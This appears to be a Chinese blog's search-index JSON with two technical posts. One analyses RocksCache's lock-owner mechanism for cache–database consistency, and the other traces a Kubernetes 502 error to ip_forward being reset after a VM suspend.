在分布式系统中，缓存是提升性能的利器，但也是一致性问题的重灾区。你是否曾经遇到过这样的困扰：\n明明更新了数据库，为什么缓存里还是旧数据？ 用了「先更新DB，再删缓存」策略，为什么还是会出现不一致？ 如何在保证一致性的同时，还能保持高性能？ 今天介绍的 RocksCache，是一个来自 DTM Labs 的开源项目，它通过一套精巧的设计，在不引入版本号的前提下，优雅地解决了缓存与数据库的一致性难题。\n一、经典的缓存一致性问题 1.1 常见的缓存策略 最常用的缓存管理策略是 Cache-Aside（旁路缓存）：\nTEXT读取：先查缓存 → 缓存命中则返回 → 未命中则查DB → 写入缓存 → 返回 更新：更新DB → 删除缓存 这个策略看似简单，却隐藏着一个致命的并发问题。\n1.2 并发场景下的数据不一致 考虑以下时序：\nTEXT时间 →→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→ 线程A（读请求）: 查DB(v1) ─────────────────────────────→ 写缓存(v1) (网络延迟) 线程B（写请求）: 更新DB(v2) → 删除缓存 问题：线程A 查询到 v1 后，发生了网络延迟。此时线程B 完成了更新并删除缓存。但线程A 的写缓存操作在删除之后执行，导致缓存中存储了旧值 v1。\n这就是著名的 \u0026ldquo;删除后写入\u0026rdquo; 问题，常规的「先更新DB再删缓存」策略无法解决。\n1.3 传统解决方案的局限 方案 描述 缺点 延迟双删 删除缓存后，延迟一段时间再删一次 延迟时间难以确定，仍有不一致窗口 版本号 每条数据带版本号，写入时比较版本 侵入业务，改造成本高 分布式锁 读写都加锁 性能差，热点数据成为瓶颈 订阅 binlog 通过 Canal 等订阅 DB 变更 架构复杂，延迟较高 有没有一种方案，既能保证一致性，又不侵入业务，还能保证高性能？\n二、RocksCache 的设计思想 RocksCache 提出了一个创新方案：标记删除 + 锁持有者验证。\n2.1 核心理念 不直接删除缓存，而是标记为已删除；写入时验证锁持有者，拒绝过期的写入。\n2.2 数据结构设计 RocksCache 将每个缓存 key 存储为 Redis Hash：\nREDISkey → { value: \u0026#34;实际缓存值\u0026#34; lockUntil: 1703347200 # 锁定到期时间戳 lockOwner: \u0026#34;uuid-xxxxx\u0026#34; # 锁持有者ID } 这三个字段协同工作，实现了隐式的版本控制。\n2.3 两个核心方法 RocksCache 对外只暴露两个核心方法：\nGO// 读取缓存（缓存不存在时自动调用 fn 获取数据） value, err := rc.Fetch(key, expire, func() (string, error) { return queryFromDB() }) // 标记删除（更新DB后调用） err := rc.TagAsDeleted(key) 极简的 API 背后，是精妙的一致性保证机制。\n三、源码深度剖析 3.1 TagAsDeleted：标记删除 当数据更新后，调用 TagAsDeleted 标记缓存失效：\nLUA-- deleteScript redis.call(\u0026#39;HSET\u0026#39;, KEYS[1], \u0026#39;lockUntil\u0026#39;, 0) -- 标记锁定时间为0（已失效） redis.call(\u0026#39;HDEL\u0026#39;, KEYS[1], \u0026#39;lockOwner\u0026#39;) -- 清除锁持有者 redis.call(\u0026#39;EXPIRE\u0026#39;, KEYS[1], ARGV[1]) -- 设置延迟过期（默认10秒） 关键点：\n将 lockUntil 设为 0，表示缓存已失效，需要刷新 数据不立即删除，保留一段时间（Delay），这段时间内仍可返回旧值 清除 lockOwner，使得之前的读请求无法写入新值 3.2 Fetch：读取缓存 Fetch 是读取的核心方法：\nGOfunc (c *Client) Fetch2(ctx context.Context, key string, expire time.Duration, fn func() (string, error)) (string, error) { // 使用 singleflight 防止进程内并发 v, err, _ := c.group.Do(key, func() (interface{}, error) { if c.Options.DisableCacheRead { return fn() // 降级模式：直接查DB } else if c.Options.StrongConsistency { return c.strongFetch(ctx, key, ex, fn) // 强一致模式 } return c.weakFetch(ctx, key, ex, fn) // 最终一致模式（默认） }) return v.(string), err } 3.2.1 luaGet：获取值并尝试加锁 LUA-- getScript local v = redis.call(\u0026#39;HGET\u0026#39;, KEYS[1], \u0026#39;value\u0026#39;) local lu = redis.call(\u0026#39;HGET\u0026#39;, KEYS[1], \u0026#39;lockUntil\u0026#39;) -- 需要加锁的条件：锁已过期 或 (无锁且无值) if lu ~= false and tonumber(lu) \u0026lt; tonumber(ARGV[1]) or lu == false and v == false then redis.call(\u0026#39;HSET\u0026#39;, KEYS[1], \u0026#39;lockUntil\u0026#39;, ARGV[2]) -- 设置锁到期时间 redis.call(\u0026#39;HSET\u0026#39;, KEYS[1], \u0026#39;lockOwner\u0026#39;, ARGV[3]) -- 设置锁持有者 return { v, \u0026#39;LOCKED\u0026#39; } -- 返回值 + 锁定标记 end return {v, lu} -- 返回值 + 锁定时间 返回值含义：\n{nil, \u0026quot;LOCKED\u0026quot;}：无缓存，获得锁，需要查询DB {value, \u0026quot;LOCKED\u0026quot;}：有旧值，获得锁，可返回旧值并后台刷新 {value, lockUntil}：有缓存且未过期，直接返回 {nil, lockUntil}：无缓存但被其他线程锁定，需要等待 3.2.2 weakFetch：最终一致模式 GOfunc (c *Client) weakFetch(ctx context.Context, key string, expire time.Duration, fn func() (string, error)) (string, error) { owner := shortuuid.New() // 生成唯一ID r, err := c.luaGet(ctx, key, owner) // 等待其他线程释放锁（无值且被锁定的情况） for err == nil \u0026amp;\u0026amp; r[0] == nil \u0026amp;\u0026amp; r[1].(string) != locked { time.Sleep(c.Options.LockSleep) r, err = c.luaGet(ctx, key, owner) } if r[1] != locked { return r[0].(string), nil // 有缓存且未过期，直接返回 } // 获得锁 if r[0] == nil { return c.fetchNew(ctx, key, expire, owner, fn) // 无旧值，同步查询 } // ⭐ 关键优化：有旧值时，立即返回旧值，后台异步刷新 go withRecover(func() { _, _ = c.fetchNew(ctx, key, expire, owner, fn) }) return r[0].(string), nil } 设计亮点：当缓存失效但有旧值时，立即返回旧值，同时异步刷新缓存。这保证了：\n用户请求不会阻塞 热点数据删除时不会造成响应延迟 最终数据会被刷新为新值 3.2.3 luaSet：写入缓存（带验证） LUA-- setScript local o = redis.call(\u0026#39;HGET\u0026#39;, KEYS[1], \u0026#39;lockOwner\u0026#39;) if o ~= ARGV[2] then return -- ⭐ 关键：不是锁持有者，拒绝写入！ end redis.call(\u0026#39;HSET\u0026#39;, KEYS[1], \u0026#39;value\u0026#39;, ARGV[1]) redis.call(\u0026#39;HDEL\u0026#39;, KEYS[1], \u0026#39;lockUntil\u0026#39;) redis.call(\u0026#39;HDEL\u0026#39;, KEYS[1], \u0026#39;lockOwner\u0026#39;) redis.call(\u0026#39;EXPIRE\u0026#39;, KEYS[1], ARGV[3]) 这就是解决\u0026quot;删除后写入\u0026quot;问题的关键：\n线程A 读取时获得锁，记录自己的 owner 线程B 更新DB后调用 TagAsDeleted，清除了 lockOwner 线程A 尝试写入缓存时，发现 lockOwner 不匹配，写入被拒绝 后续的读请求会重新查询DB，获取最新值 四、防御机制详解 4.1 防缓存击穿 GO// 进程内使用 singleflight c.group.Do(key, func() (interface{}, error) { // 同一进程内相同key只执行一次 }) LUA-- Redis层使用分布式锁 if lu ~= false and tonumber(lu) \u0026lt; tonumber(ARGV[1]) then redis.call(\u0026#39;HSET\u0026#39;, KEYS[1], \u0026#39;lockUntil\u0026#39;, ARGV[2]) return { v, \u0026#39;LOCKED\u0026#39; } -- 只有一个请求能获得锁 end 双重防护确保：无论多少请求，最终只有一个请求会查询DB。\n4.2 防缓存穿透 GOfunc (c *Client) fetchNew(...) (string, error) { result, err := fn() if result == \u0026#34;\u0026#34; { if c.Options.EmptyExpire == 0 { return c.rdb.Del(ctx, key).Err() // 不缓存空值 } expire = c.Options.EmptyExpire // 缓存空值，使用较短过期时间 } // ... } 空结果也会被缓存，默认过期时间60秒，防止恶意请求反复查询不存在的数据。\n4.3 防缓存雪崩 GO// 过期时间随机化 ex := expire - c.Options.Delay - time.Duration( rand.Float64() * c.Options.RandomExpireAdjustment * float64(expire) ) 默认 RandomExpireAdjustment = 0.1，即过期时间会在 90%~100% 之间随机波动，避免大量缓存同时过期。\n五、一致性保证的数学证明 我们来严格证明 RocksCache 如何解决\u0026quot;删除后写入\u0026quot;问题。\n场景重现：\nT1: 线程A 执行 luaGet，获得锁，lockOwner = A T2: 线程A 查询DB，获得 v1 T3: 线程B 更新DB为 v2 T4: 线程B 执行 TagAsDeleted，lockOwner 被清除 T5: 线程A 执行 luaSet，尝试写入 v1 关键步骤分析：\n在 T5 时刻，luaSet 脚本执行：\nLUAlocal o = redis.call(\u0026#39;HGET\u0026#39;, KEYS[1], \u0026#39;lockOwner\u0026#39;) -- o = nil (被T4清除) if o ~= ARGV[2] then -- nil != \u0026#39;A\u0026#39; return -- 写入被拒绝！ end 结论：v1 不会被写入缓存，后续请求会重新查询DB获取 v2。✅\n六、最佳实践 6.1 基础使用 GOimport \u0026#34;github.com/dtm-labs/rockscache\u0026#34; // 创建客户端 rc := rockscache.NewClient(redisClient, rockscache.NewDefaultOptions()) // 读取数据 func GetUser(userID int64) (*User, error) { key := fmt.Sprintf(\u0026#34;user:%d\u0026#34;, userID) data, err := rc.Fetch(key, 10*time.Minute, func() (string, error) { user, err := db.QueryUser(userID) if err != nil { return \u0026#34;\u0026#34;, err } return json.Marshal(user) }) if err != nil { return nil, err } var user User json.Unmarshal([]byte(data), \u0026amp;user) return \u0026amp;user, nil } // 更新数据 func UpdateUser(user *User) error { // 1. 更新数据库 if err := db.UpdateUser(user); err != nil { return err } // 2. 标记缓存删除 key := fmt.Sprintf(\u0026#34;user:%d\u0026#34;, user.ID) return rc.TagAsDeleted(key) } 6.2 配合分布式事务 对于需要保证「更新DB」和「删除缓存」原子性的场景，推荐配合 DTM 使用：\nGO// 使用 DTM 二阶段消息保证原子性 msg := dtmcli.NewMsg(DtmServer, gid). Add(BusiUrl+\u0026#34;/UpdateDB\u0026#34;, req). Add(BusiUrl+\u0026#34;/DeleteCache\u0026#34;, req) msg.Submit() 6.3 参数调优建议 GOopts := rockscache.Options{ Delay: 10 * time.Second, // 根据业务容忍的不一致时间调整 EmptyExpire: 60 * time.Second, // 空结果缓存时间 LockExpire: 3 * time.Second, // 应 \u0026gt;= 最大DB查询时间 LockSleep: 100 * time.Millisecond, RandomExpireAdjustment: 0.1, // 10%的随机波动 StrongConsistency: false, // 除非必要，否则用最终一致 } 七、与其他方案对比 方案 一致性 性能 复杂度 侵入性 延迟双删 弱 高 低 低 版本号 强 中 高 高 Binlog订阅 最终 中 高 低 RocksCache 最终/强 高 低 低 RocksCache 在各个维度都取得了很好的平衡。\n八、总结 RocksCache 通过以下设计解决了缓存一致性难题：\n标记删除而非直接删除：保留旧值用于快速响应，同时触发刷新 lockOwner 验证机制：拒绝过期的写入请求，避免\u0026quot;删除后写入\u0026quot;问题 读时加锁+写时验证：无需应用层版本号，隐式实现版本控制 返回旧值+异步刷新：在保证最终一致的同时，提供极致的响应速度 三大防护内置：防击穿、防穿透、防雪崩开箱即用 如果你正在为缓存一致性问题头疼，RocksCache 绝对值得一试。它的设计思想也可以迁移到其他语言实现，核心在于理解「标记删除 + 锁持有者验证」这套机制。\n参考资料 RocksCache GitHub DTM 缓存一致性文档 携程最终一致和强一致性缓存实践 ","permalink":"https://buvidk1234.github.io/posts/rockscache-consistency/","summary":"\u003ch1 id=\"深入解析-rockscache如何优雅地解决缓存与数据库一致性问题\"\u003e深入解析 RocksCache：如何优雅地解决缓存与数据库一致性问题\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e本文深入剖析 RocksCache 的设计思想与核心实现，带你理解这个首创的缓存一致性解决方案。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch2 id=\"前言\"\u003e前言\u003c/h2\u003e\n\u003cp\u003e在分布式系统中，缓存是提升性能的利器，但也是一致性问题的重灾区。你是否曾经遇到过这样的困扰：\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e明明更新了数据库，为什么缓存里还是旧数据？\u003c/li\u003e\n\u003cli\u003e用了「先更新DB，再删缓存」策略，为什么还是会出现不一致？\u003c/li\u003e\n\u003cli\u003e如何在保证一致性的同时，还能保持高性能？\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e今天介绍的 \u003cstrong\u003eRocksCache\u003c/strong\u003e，是一个来自 DTM Labs 的开源项目，它通过一套精巧的设计，\u003cstrong\u003e在不引入版本号的前提下\u003c/strong\u003e，优雅地解决了缓存与数据库的一致性难题。\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"一经典的缓存一致性问题\"\u003e一、经典的缓存一致性问题\u003c/h2\u003e\n\u003ch3 id=\"11-常见的缓存策略\"\u003e1.1 常见的缓存策略\u003c/h3\u003e\n\u003cp\u003e最常用的缓存管理策略是 \u003cstrong\u003eCache-Aside\u003c/strong\u003e（旁路缓存）：\u003c/p\u003e\n\u003cdetails class=\"code-fold\"\u003e\n  \u003csummary\u003eTEXT\u003c/summary\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"background-color:#f7f7f7;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-text\" data-lang=\"text\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e读取：先查缓存 → 缓存命中则返回 → 未命中则查DB → 写入缓存 → 返回\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e更新：更新DB → 删除缓存\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/details\u003e\n\u003cp\u003e这个策略看似简单，却隐藏着一个致命的并发问题。\u003c/p\u003e\n\u003ch3 id=\"12-并发场景下的数据不一致\"\u003e1.2 并发场景下的数据不一致\u003c/h3\u003e\n\u003cp\u003e考虑以下时序：\u003c/p\u003e\n\u003cdetails class=\"code-fold\"\u003e\n  \u003csummary\u003eTEXT\u003c/summary\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"background-color:#f7f7f7;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-text\" data-lang=\"text\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e时间  →→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e线程A（读请求）:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        查DB(v1) ─────────────────────────────→ 写缓存(v1)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                        (网络延迟)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e线程B（写请求）:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                   更新DB(v2) → 删除缓存\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/details\u003e\n\u003cp\u003e\u003cstrong\u003e问题\u003c/strong\u003e：线程A 查询到 v1 后，发生了网络延迟。此时线程B 完成了更新并删除缓存。但线程A 的写缓存操作在删除之后执行，导致缓存中存储了旧值 v1。\u003c/p\u003e\n\u003cp\u003e这就是著名的 \u003cstrong\u003e\u0026ldquo;删除后写入\u0026rdquo;\u003c/strong\u003e 问题，常规的「先更新DB再删缓存」策略无法解决。\u003c/p\u003e\n\u003ch3 id=\"13-传统解决方案的局限\"\u003e1.3 传统解决方案的局限\u003c/h3\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003e方案\u003c/th\u003e\n          \u003cth\u003e描述\u003c/th\u003e\n          \u003cth\u003e缺点\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e延迟双删\u003c/td\u003e\n          \u003ctd\u003e删除缓存后，延迟一段时间再删一次\u003c/td\u003e\n          \u003ctd\u003e延迟时间难以确定，仍有不一致窗口\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e版本号\u003c/td\u003e\n          \u003ctd\u003e每条数据带版本号，写入时比较版本\u003c/td\u003e\n          \u003ctd\u003e侵入业务，改造成本高\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e分布式锁\u003c/td\u003e\n          \u003ctd\u003e读写都加锁\u003c/td\u003e\n          \u003ctd\u003e性能差，热点数据成为瓶颈\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e订阅 binlog\u003c/td\u003e\n          \u003ctd\u003e通过 Canal 等订阅 DB 变更\u003c/td\u003e\n          \u003ctd\u003e架构复杂，延迟较高\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e有没有一种方案，既能保证一致性，又不侵入业务，还能保证高性能？\u003c/p\u003e","title":"Rockscache Consistency"},{"content":"前言 最近在本地虚拟机环境（CentOS 7）搭建 Kubernetes 集群运行微服务 Demo 时，遇到一个非常诡异的“灵异事件”。\n起因：由于宿主机休眠，我挂起（Suspend）了一段时间虚拟机。 现象：恢复运行后，集群状态看起来一切正常（Node Ready，Pod Running），但访问 NodePort 暴露的服务时，直接报 502 Bad Gateway。 排查过程极其曲折，从 HTTP 协议一路查到 Linux 内核参数，最终发现是操作系统在网络重置时的“安全机制”坑了 Kubernetes。本文记录了完整的排查思路，希望能帮大家避坑。\n🕵️‍♂️ 第一阶段：表象排查（Application Layer） 首先，我尝试访问前端服务：\nBASHcurl -I http://192.168.6.141:30007/ # HTTP/1.1 502 Bad Gateway 初步分析： 502 通常意味着网关（Service/Kube-proxy）找不到后端 Pod，或者连接被拒绝。\n检查 Pod 状态：kubectl get pods -A 显示所有 Pod 均为 Running 且 Ready (1/1)。应用没挂。 检查 Service 关联：kubectl get ep frontend 显示 Endpoints 存在且 IP 正确（如 10.244.104.23:8080）。 看日志：查看 Frontend Pod 日志，没有报错，甚至显示 Server started。 奇怪点：应用活着，配置没动过，重启前好好的，恢复后就断了。\n🕵️‍♂️ 第二阶段：网络层排查（Network Layer） 既然应用层没问题，怀疑是网络链路不通。我决定做一个最简单的测试：Ping。\n我进入 Node1 节点，尝试 Ping 位于 Node2 上的 Pod IP：\nBASHping 10.244.104.23 # 100% packet loss 关键转折：Ping 不通！这说明问题不在 HTTP 层，而是更底层的 IP 连通性 出了问题。\n路由表分析 我的集群使用的是 Calico CNI（IPIP 模式）。查看路由表：\nBASHip route # 输出包含： # 10.244.104.0/26 via 192.168.6.142 dev tunl0 proto bird onlink 这说明去往 Node2 Pod 的流量，应该经过 tunl0 隧道接口封装，发往 Node2 的物理 IP (192.168.6.142)。路由表看起来是正常的。\n🕵️‍♂️ 第三阶段：内核层排查（The Root Cause） 为了搞清楚包到底丢在哪，我祭出了大杀器：tcpdump。\n1. 双端抓包 我在 发送端（Node1） 和 接收端（Node2） 同时抓包：\nNode1: tcpdump -i any host \u0026lt;PodIP\u0026gt; 现象：能看到发出的 ICMP Request，也能看到 TCP SYN 包。包发出去了。 Node2: tcpdump -i any host \u0026lt;PodIP\u0026gt; 现象：能收到 Node1 发过来的包。 推论：物理网络没问题，隧道也没断。Node2 收到了包，但没有回复，也没有转发给 Pod。这是一个典型的“黑洞”现象。\n2. 检查内核参数 Node2 收到了包却不转发，嫌疑最大的就是 Linux 内核的转发开关。\n检查 Node2 的 IP Forwarding 配置：\nBASHsysctl net.ipv4.ip_forward # 输出：net.ipv4.ip_forward = 0 \u0026lt;-- 凶手找到了！ 真相大白： Kubernetes 的 Node 节点本质上是一台路由器。它需要把物理网卡收到的包，转发给 CNI 的虚拟网卡（cali*）。 当虚拟机从挂起状态恢复时，CentOS 的网络服务（NetworkManager）重启了网卡，并出于安全策略，将 ip_forward 默认重置为了 0（关闭）。\n这就导致 Node2 变成了一个“自闭”的节点：它收到了发给 Pod 的包，但因为它被禁止转发流量，所以直接把包丢弃了。\n✅ 解决方案 临时修复 立即开启转发功能，网络瞬间恢复：\nBASHsysctl -w net.ipv4.ip_forward=1 永久修复（防止重启失效） 为了避免下次重启或挂起后再挂，必须将配置写入文件：\nBASHcat \u0026lt;\u0026lt;EOF \u0026gt; /etc/sysctl.d/k8s-forward.conf net.ipv4.ip_forward = 1 net.ipv4.conf.all.rp_filter = 0 net.ipv4.conf.tunl0.rp_filter = 0 EOF sysctl --system 📝 总结与教训 这次排查让我对 Kubernetes 的底层网络有了更直观的认识：\n环境避坑：K8s 对宿主机内核参数高度依赖。虚拟机挂起/恢复操作非常容易导致 ip_forward、rp_filter 等关键参数被系统重置。 排查心法：不要盲目猜测。 curl 不通 -\u0026gt; 查 ping。 ping 不通 -\u0026gt; 查 ip route（路由）。 路由没问题 -\u0026gt; 用 tcpdump 确定丢包位置。 确定丢包位置 -\u0026gt; 查 sysctl 内核参数。 核心认知：Kubernetes Node 就是路由器。net.ipv4.ip_forward = 1 是容器网络的生命线。 ","permalink":"https://buvidk1234.github.io/posts/k8s-troubleshooting/","summary":"\u003ch2 id=\"前言\"\u003e前言\u003c/h2\u003e\n\u003cp\u003e最近在本地虚拟机环境（CentOS 7）搭建 Kubernetes 集群运行微服务 Demo 时，遇到一个非常诡异的“灵异事件”。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e起因\u003c/strong\u003e：由于宿主机休眠，我挂起（Suspend）了一段时间虚拟机。\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e现象\u003c/strong\u003e：恢复运行后，集群状态看起来一切正常（Node Ready，Pod Running），但访问 NodePort 暴露的服务时，直接报 \u003ccode\u003e502 Bad Gateway\u003c/code\u003e。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e排查过程极其曲折，从 HTTP 协议一路查到 Linux 内核参数，最终发现是操作系统在网络重置时的“安全机制”坑了 Kubernetes。本文记录了完整的排查思路，希望能帮大家避坑。\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"-第一阶段表象排查application-layer\"\u003e🕵️‍♂️ 第一阶段：表象排查（Application Layer）\u003c/h2\u003e\n\u003cp\u003e首先，我尝试访问前端服务：\u003c/p\u003e\n\u003cdetails class=\"code-fold\"\u003e\n  \u003csummary\u003eBASH\u003c/summary\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"background-color:#f7f7f7;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ecurl -I http://192.168.6.141:30007/\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#57606a\"\u003e# HTTP/1.1 502 Bad Gateway\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/details\u003e\n\u003cp\u003e\u003cstrong\u003e初步分析\u003c/strong\u003e：\n\u003ccode\u003e502\u003c/code\u003e 通常意味着网关（Service/Kube-proxy）找不到后端 Pod，或者连接被拒绝。\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003e检查 Pod 状态\u003c/strong\u003e：\u003ccode\u003ekubectl get pods -A\u003c/code\u003e 显示所有 Pod 均为 \u003ccode\u003eRunning\u003c/code\u003e 且 \u003ccode\u003eReady (1/1)\u003c/code\u003e。应用没挂。\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e检查 Service 关联\u003c/strong\u003e：\u003ccode\u003ekubectl get ep frontend\u003c/code\u003e 显示 Endpoints 存在且 IP 正确（如 \u003ccode\u003e10.244.104.23:8080\u003c/code\u003e）。\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e看日志\u003c/strong\u003e：查看 Frontend Pod 日志，没有报错，甚至显示 \u003ccode\u003eServer started\u003c/code\u003e。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003cstrong\u003e奇怪点\u003c/strong\u003e：应用活着，配置没动过，重启前好好的，恢复后就断了。\u003c/p\u003e","title":"K8s Troubleshooting"}]